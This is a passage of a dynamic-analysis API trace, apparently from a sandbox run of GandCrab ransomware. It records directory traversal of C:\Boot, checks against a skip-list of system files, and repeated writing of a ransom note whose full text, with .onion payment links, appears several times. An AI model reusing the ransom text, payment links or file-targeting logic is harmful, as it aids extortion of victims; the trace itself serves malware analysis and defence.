hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.525] lstrcmpW (lpString1="sr-Latn-RS", lpString2=".") returned 1 [0052.525] lstrcmpW (lpString1="sr-Latn-RS", lpString2="..") returned 1 [0052.525] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sr-Latn-RS" | out: lpString1="C:\\Boot\\sr-Latn-RS") returned="C:\\Boot\\sr-Latn-RS" [0052.525] lstrlenW (lpString="C:\\Boot\\sr-Latn-RS") returned 18 [0052.525] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.525] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0052.525] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0052.525] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="sv-SE" | out: lpString1="C:\\Boot\\sv-SE") returned="C:\\Boot\\sv-SE" [0052.525] lstrlenW (lpString="C:\\Boot\\sv-SE") returned 13 [0052.525] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.525] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0052.525] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0052.525] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="tr-TR" | out: lpString1="C:\\Boot\\tr-TR") returned="C:\\Boot\\tr-TR" [0052.525] lstrlenW (lpString="C:\\Boot\\tr-TR") returned 13 [0052.525] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.525] lstrcmpW (lpString1="uk-UA", lpString2=".") returned 1 [0052.525] lstrcmpW (lpString1="uk-UA", lpString2="..") returned 1 [0052.525] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="uk-UA" | out: lpString1="C:\\Boot\\uk-UA") returned="C:\\Boot\\uk-UA" [0052.525] lstrlenW (lpString="C:\\Boot\\uk-UA") returned 13 [0052.525] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.525] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0052.525] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0052.525] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-CN" | out: lpString1="C:\\Boot\\zh-CN") returned="C:\\Boot\\zh-CN" [0052.525] lstrlenW (lpString="C:\\Boot\\zh-CN") returned 13 [0052.525] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.525] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0052.525] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0052.525] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-HK" | out: lpString1="C:\\Boot\\zh-HK") returned="C:\\Boot\\zh-HK" [0052.525] lstrlenW (lpString="C:\\Boot\\zh-HK") returned 13 [0052.525] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.525] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0052.525] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0052.525] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-TW" | out: lpString1="C:\\Boot\\zh-TW") returned="C:\\Boot\\zh-TW" [0052.525] lstrlenW (lpString="C:\\Boot\\zh-TW") returned 13 [0052.525] FindNextFileW (in: hFindFile=0x588760, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0052.525] FindClose (in: hFindFile=0x588760 | out: hFindFile=0x588760) returned 1 [0052.525] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.526] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\\\GDCB-DECRYPT.txt") returned 25 [0052.526] CreateFileW (lpFileName="C:\\Boot\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0052.527] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.527] WriteFile (in: hFile=0x4d8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285fa1c, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285fa1c*=0xad6, lpOverlapped=0x0) returned 1 [0052.527] CloseHandle (hObject=0x4d8) returned 1 [0052.527] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.527] lstrlenW (lpString="C:\\Boot\\") returned 8 [0052.527] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*" | out: lpString1="C:\\Boot\\*") returned="C:\\Boot\\*" [0052.527] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0x588ce0 [0052.528] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.528] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.528] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.528] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.528] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.528] lstrcmpW (lpString1="BCD", lpString2=".") returned 1 [0052.528] lstrcmpW (lpString1="BCD", lpString2="..") returned 1 [0052.528] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD" | out: lpString1="C:\\Boot\\BCD") returned="C:\\Boot\\BCD" [0052.528] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.528] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\BCD") returned 11 [0052.528] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0052.528] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.528] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.528] lstrcmpW (lpString1="BCD.LOG", lpString2=".") returned 1 [0052.528] lstrcmpW (lpString1="BCD.LOG", lpString2="..") returned 1 [0052.528] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="C:\\Boot\\BCD.LOG") returned="C:\\Boot\\BCD.LOG" [0052.528] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.529] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\BCD.LOG") returned 15 [0052.529] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0052.529] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.529] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.529] lstrcmpW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0052.529] lstrcmpW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0052.529] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="C:\\Boot\\BCD.LOG1") returned="C:\\Boot\\BCD.LOG1" [0052.529] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.530] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\BCD.LOG1") returned 16 [0052.530] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0052.530] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.530] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.530] lstrcmpW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0052.530] lstrcmpW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0052.530] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="C:\\Boot\\BCD.LOG2") returned="C:\\Boot\\BCD.LOG2" [0052.530] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.530] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\BCD.LOG2") returned 16 [0052.530] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0052.530] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.531] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.531] lstrcmpW (lpString1="bg-BG", lpString2=".") returned 1 [0052.531] lstrcmpW (lpString1="bg-BG", lpString2="..") returned 1 [0052.531] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="bg-BG" | out: lpString1="C:\\Boot\\bg-BG") returned="C:\\Boot\\bg-BG" [0052.531] lstrcatW (in: lpString1="C:\\Boot\\bg-BG", lpString2="\\" | out: lpString1="C:\\Boot\\bg-BG\\") returned="C:\\Boot\\bg-BG\\" [0052.531] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.531] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.531] lstrlenW (lpString="C:\\Boot\\bg-BG\\") returned 14 [0052.531] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="*" | out: lpString1="C:\\Boot\\bg-BG\\*") returned="C:\\Boot\\bg-BG\\*" [0052.531] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588de0 [0052.538] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.538] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.538] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.538] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.538] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.538] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.538] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.538] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned="C:\\Boot\\bg-BG\\bootmgr.exe.mui" [0052.538] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0052.538] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.538] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.539] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.539] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.539] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\bg-BG\\\\GDCB-DECRYPT.txt") returned 31 [0052.539] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\bg-bg\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.539] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.539] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.540] CloseHandle (hObject=0x4e0) returned 1 [0052.540] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.540] lstrlenW (lpString="C:\\Boot\\bg-BG\\") returned 14 [0052.540] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="*" | out: lpString1="C:\\Boot\\bg-BG\\*") returned="C:\\Boot\\bg-BG\\*" [0052.540] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588de0 [0052.540] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.540] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.540] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.541] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.541] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.541] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.541] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.541] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned="C:\\Boot\\bg-BG\\bootmgr.exe.mui" [0052.541] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.541] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0052.541] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0052.541] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.541] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.541] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.541] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.541] lstrcatW (in: lpString1="C:\\Boot\\bg-BG\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt" [0052.541] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.542] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0052.542] lstrlenW (lpString="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0052.542] lstrlenW (lpString="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0052.542] lstrlenW (lpString="C:\\Boot\\bg-BG\\GDCB-DECRYPT.txt") returned 30 [0052.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.542] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.542] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.542] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.542] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.542] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0052.542] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0052.542] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="C:\\Boot\\BOOTSTAT.DAT") returned="C:\\Boot\\BOOTSTAT.DAT" [0052.542] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.543] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0052.543] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0052.543] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.543] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.543] lstrcmpW (lpString1="bootvhd.dll", lpString2=".") returned 1 [0052.543] lstrcmpW (lpString1="bootvhd.dll", lpString2="..") returned 1 [0052.543] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="bootvhd.dll" | out: lpString1="C:\\Boot\\bootvhd.dll") returned="C:\\Boot\\bootvhd.dll" [0052.543] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.543] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\bootvhd.dll") returned 19 [0052.543] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0052.543] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.544] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.544] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0052.544] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0052.544] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="cs-CZ" | out: lpString1="C:\\Boot\\cs-CZ") returned="C:\\Boot\\cs-CZ" [0052.544] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ", lpString2="\\" | out: lpString1="C:\\Boot\\cs-CZ\\") returned="C:\\Boot\\cs-CZ\\" [0052.544] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.544] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.544] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.544] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.544] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.544] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.544] lstrlenW (lpString="C:\\Boot\\cs-CZ\\") returned 14 [0052.544] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="C:\\Boot\\cs-CZ\\*") returned="C:\\Boot\\cs-CZ\\*" [0052.544] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.545] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.545] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.545] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.545] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.545] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.545] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.545] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.545] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0052.545] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0052.545] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.545] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.545] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.545] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.545] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned="C:\\Boot\\cs-CZ\\memtest.exe.mui" [0052.545] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0052.545] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.545] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.545] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.545] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.546] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\cs-CZ\\\\GDCB-DECRYPT.txt") returned 31 [0052.546] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\cs-cz\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.546] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.546] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.547] CloseHandle (hObject=0x4e0) returned 1 [0052.547] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.547] lstrlenW (lpString="C:\\Boot\\cs-CZ\\") returned 14 [0052.547] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="C:\\Boot\\cs-CZ\\*") returned="C:\\Boot\\cs-CZ\\*" [0052.547] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588e20 [0052.547] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.547] FindNextFileW (in: hFindFile=0x588e20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.547] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.547] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.547] FindNextFileW (in: hFindFile=0x588e20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.547] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.547] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.547] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0052.547] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.548] wsprintfW (in: param_1=0x2730000, 